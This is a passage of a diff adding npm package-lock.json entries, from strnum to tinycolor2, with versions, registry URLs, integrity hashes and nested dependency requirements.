"strnum": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/strnum/-/strnum-1.0.5.tgz", + "integrity": "sha512-J8bbNyKKXl5qYcR36TIO8W3mVGVHrmmxsd5PAItGkmyzwJvybiw2IVq5nqd0i4LSNSkB/sx9VHllbfFdr9k1JA==", + "peer": true + }, + "style-loader": { + "version": "0.19.1", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-0.19.1.tgz", + "integrity": "sha512-IRE+ijgojrygQi3rsqT0U4dd+UcPCqcVvauZpCnQrGAlEe+FUIyrK93bUDScamesjP08JlQNsFJU+KmPedP5Og==", + "dev": true, + "requires": { + "loader-utils": "^1.0.2", + "schema-utils": "^0.3.0" + }, + "dependencies": { + "schema-utils": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.3.0.tgz", + "integrity": "sha1-9YdyIs4+kx7a4DnxfrNxbnE3+M8=", + "dev": true, + "requires": { + "ajv": "^5.0.0" + } + } + } + }, + "stylehacks": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-4.0.0.tgz", + "integrity": "sha1-ZLMjlRxKJOX8ey7AbBN78y0VXoo=", + "dev": true, + "requires": { + "browserslist": "^4.0.0", + "postcss": "^6.0.0", + "postcss-selector-parser": "^3.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "browserslist": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.0.1.tgz", + "integrity": "sha512-QqiiIWchEIkney3wY53/huI7ZErouNAdvOkjorUALAwRcu3tEwOV3Sh6He0DnP38mz1JjBpCBb50jQBmaYuHPw==", + "dev": true, + "requires": { + "caniuse-lite": "^1.0.30000865", + "electron-to-chromium": "^1.3.52", + "node-releases": "^1.0.0-alpha.10" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "postcss-selector-parser": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.1.tgz", + "integrity": "sha1-T4dfSvsMllc9XPTXQBGu4lCn6GU=", + "dev": true, + "requires": { + "dot-prop": "^4.1.1", + "indexes-of": "^1.0.1", + "uniq": "^1.0.1" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "subarg": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/subarg/-/subarg-1.0.0.tgz", + "integrity": "sha1-9izxdYHplrSPyWVpn1TAauJouNI=", + "dev": true, + "requires": { + "minimist": "^1.1.0" + } + }, + "sudo-prompt": { + "version": "9.2.1", + "resolved": "https://registry.npmjs.org/sudo-prompt/-/sudo-prompt-9.2.1.tgz", + "integrity": "sha512-Mu7R0g4ig9TUuGSxJavny5Rv0egCEtpZRNMrZaYS1vxkiIxGiGUwoezU3LazIQ+KE04hTrTfNPgxU5gzi7F5Pw==", + "peer": true + }, + "supports-color": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", + "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=" + }, + "svgo": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-0.7.2.tgz", + "integrity": "sha1-n1dyQTlSE1xv779Ar+ak+qiLS7U=", + "dev": true, + "requires": { + "coa": "~1.0.1", + "colors": "~1.1.2", + "csso": "~2.3.1", + "js-yaml": "~3.7.0", + "mkdirp": "~0.5.1", + "sax": "~1.2.1", + "whet.extend": "~0.9.9" + } + }, + "syntax-error": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/syntax-error/-/syntax-error-1.4.0.tgz", + "integrity": "sha512-YPPlu67mdnHGTup2A8ff7BC2Pjq0e0Yp/IyTFN03zWO0RcK07uLcbi7C2KpGR2FvWbaB0+bfE27a+sBKebSo7w==", + "dev": true, + "requires": { + "acorn-node": "^1.2.0" + } + }, + "table": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/table/-/table-4.0.2.tgz", + "integrity": "sha512-UUkEAPdSGxtRpiV9ozJ5cMTtYiqz7Ni1OGqLXRCynrvzdtR1p+cfOWe2RJLwvUG8hNanaSRjecIqwOjqeatDsA==", + "dev": true, + "requires": { + "ajv": "^5.2.3", + "ajv-keywords": "^2.1.0", + "chalk": "^2.1.0", + "lodash": "^4.17.4", + "slice-ansi": "1.0.0", + "string-width": "^2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "dev": true + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true + }, + "string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha1-q5Pyeo3BPSjKyBXEYhQ6bZASrp4=", + "dev": true, + "requires": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + } + }, + "strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "dev": true, + "requires": { + "ansi-regex": "^3.0.0" + } + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "tapable": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", + "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", + "dev": true + }, + "tar": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/tar/-/tar-2.2.1.tgz", + "integrity": "sha1-jk0qJWwOIYXGsYrWlK7JaLg8sdE=", + "dev": true, + "requires": { + "block-stream": "*", + "fstream": "^1.0.2", + "inherits": "2" + } + }, + "tar-fs": { + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-1.16.0.tgz", + "integrity": "sha512-I9rb6v7mjWLtOfCau9eH5L7sLJyU2BnxtEZRQ5Mt+eRKmf1F0ohXmT/Jc3fr52kDvjJ/HV5MH3soQfPL5bQ0Yg==", + "dev": true, + "optional": true, + "requires": { + "chownr": "^1.0.1", + "mkdirp": "^0.5.1", + "pump": "^1.0.0", + "tar-stream": "^1.1.2" + }, + "dependencies": { + "pump": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/pump/-/pump-1.0.3.tgz", + "integrity": "sha512-8k0JupWme55+9tCVE+FS5ULT3K6AbgqrGa58lTT49RpyfwwcGedHqaC5LlQNdEAumn/wFsu6aPwkuPMioy8kqw==", + "dev": true, + "optional": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + } + } + }, + "tar-stream": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-1.5.5.tgz", + "integrity": "sha512-mQdgLPc/Vjfr3VWqWbfxW8yQNiJCbAZ+Gf6GDu1Cy0bdb33ofyiNGBtAY96jHFhDuivCwgW1H9DgTON+INiXgg==", + "dev": true, + "requires": { + "bl": "^1.0.0", + "end-of-stream": "^1.0.0", + "readable-stream": "^2.0.0", + "xtend": "^4.0.0" + } + }, + "temp": { + "version": "0.8.3", + "resolved": "https://registry.npmjs.org/temp/-/temp-0.8.3.tgz", + "integrity": "sha512-jtnWJs6B1cZlHs9wPG7BrowKxZw/rf6+UpGAkr8AaYmiTyTO7zQlLoST8zx/8TcUPnZmeBoB+H8ARuHZaSijVw==", + "peer": true, + "requires": { + "os-tmpdir": "^1.0.0", + "rimraf": "~2.2.6" + }, + "dependencies": { + "rimraf": { + "version": "2.2.8", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.2.8.tgz", + "integrity": "sha512-R5KMKHnPAQaZMqLOsyuyUmcIjSeDm+73eoqQpaXA7AZ22BL+6C+1mcUscgOsNd8WVlJuvlgAPsegcx7pjlV0Dg==", + "peer": true + } + } + }, + "terser": { + "version": "4.8.0", + "resolved": "https://registry.npmjs.org/terser/-/terser-4.8.0.tgz", + "integrity": "sha512-EAPipTNeWsb/3wLPeup1tVPaXfIaU68xMnVdPafIL1TV05OhASArYyIfFvnvJCNrR2NIOvDVNNTFRa+Re2MWyw==", + "dev": true, + "requires": { + "commander": "^2.20.0", + "source-map": "~0.6.1", + "source-map-support": "~0.5.12" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "source-map-support": { + "version": "0.5.19", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz", + "integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==", + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + } + } + }, + "terser-webpack-plugin": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.4.tgz", + "integrity": "sha512-U4mACBHIegmfoEe5fdongHESNJWqsGU+W0S/9+BmYGVQDw1+c2Ow05TpMhxjPK1sRb7cuYq1BPl1e5YHJMTCqA==", + "dev": true, + "requires": { + "cacache": "^12.0.2", + "find-cache-dir": "^2.1.0", + "is-wsl": "^1.1.0", + "schema-utils": "^1.0.0", + "serialize-javascript": "^3.1.0", + "source-map": "^0.6.1", + "terser": "^4.1.2", + "webpack-sources": "^1.4.0", + "worker-farm": "^1.7.0" + }, + "dependencies": { + "ajv": { + "version": "6.12.3", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.3.tgz", + "integrity": "sha512-4K0cK3L1hsqk9xIb2z9vs/XU+PGJZ9PNpJRDS9YLzmNdX6jmVPfamLvTJr0aDAusnHyCHO6MjzlkAsgtqp9teA==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.1.tgz", + "integrity": "sha512-KWcq3xN8fDjSB+IMoh2VaXVhRI0BBGxoYp3rx7Pkb6z0cFjYR9Q9l4yZqqals0/zsioCmocC5H6UvsGD4MoIBA==", + "dev": true, + "requires": {} + }, + "bluebird": { + "version": "3.7.2", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", + "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", + "dev": true + }, + "cacache": { + "version": "12.0.4", + "resolved": "https://registry.npmjs.org/cacache/-/cacache-12.0.4.tgz", + "integrity": "sha512-a0tMB40oefvuInr4Cwb3GerbL9xTj1D5yg0T5xrjGCGyfvbxseIXX7BAO/u/hIXdafzOI5JC3wDwHyf24buOAQ==", + "dev": true, + "requires": { + "bluebird": "^3.5.5", + "chownr": "^1.1.1", + "figgy-pudding": "^3.5.1", + "glob": "^7.1.4", + "graceful-fs": "^4.1.15", + "infer-owner": "^1.0.3", + "lru-cache": "^5.1.1", + "mississippi": "^3.0.0", + "mkdirp": "^0.5.1", + "move-concurrently": "^1.0.1", + "promise-inflight": "^1.0.1", + "rimraf": "^2.6.3", + "ssri": "^6.0.1", + "unique-filename": "^1.1.1", + "y18n": "^4.0.0" + } + }, + "chownr": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", + "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", + "dev": true + }, + "fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true + }, + "find-cache-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz", + "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==", + "dev": true, + "requires": { + "commondir": "^1.0.1", + "make-dir": "^2.0.0", + "pkg-dir": "^3.0.0" + } + }, + "find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "requires": { + "locate-path": "^3.0.0" + } + }, + "glob": { + "version": "7.1.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", + "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "requires": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + } + }, + "lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "requires": { + "yallist": "^3.0.2" + } + }, + "make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", + "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "dev": true, + "requires": { + "pify": "^4.0.1", + "semver": "^5.6.0" + } + }, + "mississippi": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz", + "integrity": "sha512-x471SsVjUtBRtcvd4BzKE9kFC+/2TeWgKCgw0bZcw1b9l2X3QX5vCWgF+KaZaYm87Ss//rHnWryupDrgLvmSkA==", + "dev": true, + "requires": { + "concat-stream": "^1.5.0", + "duplexify": "^3.4.2", + "end-of-stream": "^1.1.0", + "flush-write-stream": "^1.0.0", + "from2": "^2.1.0", + "parallel-transform": "^1.1.0", + "pump": "^3.0.0", + "pumpify": "^1.3.3", + "stream-each": "^1.1.0", + "through2": "^2.0.0" + } + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "requires": { + "p-limit": "^2.0.0" + } + }, + "p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true + }, + "path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", + "dev": true + }, + "pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "dev": true + }, + "pkg-dir": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz", + "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==", + "dev": true, + "requires": { + "find-up": "^3.0.0" + } + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "dev": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "requires": { + "safe-buffer": "^5.1.0" + } + }, + "rimraf": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", + "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", + "dev": true, + "requires": { + "glob": "^7.1.3" + } + }, + "schema-utils": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", + "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", + "dev": true, + "requires": { + "ajv": "^6.1.0", + "ajv-errors": "^1.0.0", + "ajv-keywords": "^3.1.0" + } + }, + "serialize-javascript": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-3.1.0.tgz", + "integrity": "sha512-JIJT1DGiWmIKhzRsG91aS6Ze4sFUrYbltlkg2onR5OrnNM02Kl/hnY/T4FN2omvyeBbQmMJv+K4cPOpGzOTFBg==", + "dev": true, + "requires": { + "randombytes": "^2.1.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "ssri": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ssri/-/ssri-6.0.1.tgz", + "integrity": "sha512-3Wge10hNcT1Kur4PDFwEieXSCMCJs/7WvSACcrMYrNp+b8kDL1/0wJch5Ni2WrtwEa2IO8OsVfeKIciKCDx/QA==", + "dev": true, + "requires": { + "figgy-pudding": "^3.5.1" + } + }, + "unique-filename": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz", + "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==", + "dev": true, + "requires": { + "unique-slug": "^2.0.0" + } + }, + "webpack-sources": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz", + "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==", + "dev": true, + "requires": { + "source-list-map": "^2.0.0", + "source-map": "~0.6.1" + } + }, + "worker-farm": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.7.0.tgz", + "integrity": "sha512-rvw3QTZc8lAxyVrqcSGVm5yP/IJ2UcB3U0graE3LCFoZ0Yn2x4EoVSqJKdB/T5M+FLcRPjz4TDacRf3OCfNUzw==", + "dev": true, + "requires": { + "errno": "~0.1.7" + } + }, + "y18n": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", + "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", + "dev": true + }, + "yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true + } + } + }, + "text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", + "dev": true + }, + "throat": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/throat/-/throat-5.0.0.tgz", + "integrity": "sha512-fcwX4mndzpLQKBS1DVYhGAcYaYt7vsHNIvQV+WXMvnow5cgjPphq5CaayLaGsjRdSCKZFNGt7/GYAuXaNOiYCA==", + "peer": true + }, + "through": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", + "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=", + "dev": true + }, + "through2": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.3.tgz", + "integrity": "sha1-AARWmzfHx0ujnEPzzteNGtlBQL4=", + "requires": { + "readable-stream": "^2.1.5", + "xtend": "~4.0.1" + } + }, + "timers-browserify": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-1.4.2.tgz", + "integrity": "sha1-ycWLV1voQHN1y14kYtrO50NZ9B0=", + "dev": true, + "requires": { + "process": "~0.11.0" + } + }, + "timsort": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/timsort/-/timsort-0.3.0.tgz", + "integrity": "sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q=", + "dev": true + }, + "tiny-lr": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/tiny-lr/-/tiny-lr-1.1.1.tgz", + "integrity": "sha512-44yhA3tsaRoMOjQQ+5v5mVdqef+kH6Qze9jTpqtVufgYjYt08zyZAwNwwVBj3i1rJMnR52IxOW0LK0vBzgAkuA==", + "dev": true, + "requires": { + "body": "^5.1.0", + "debug": "^3.1.0", + "faye-websocket": "~0.10.0", + "livereload-js": "^2.3.0", + "object-assign": "^4.1.0", + "qs": "^6.4.0" + }, + "dependencies": { + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + } + } + }, + "tinycolor2": { + "version": "1.4.1", + "resolved": 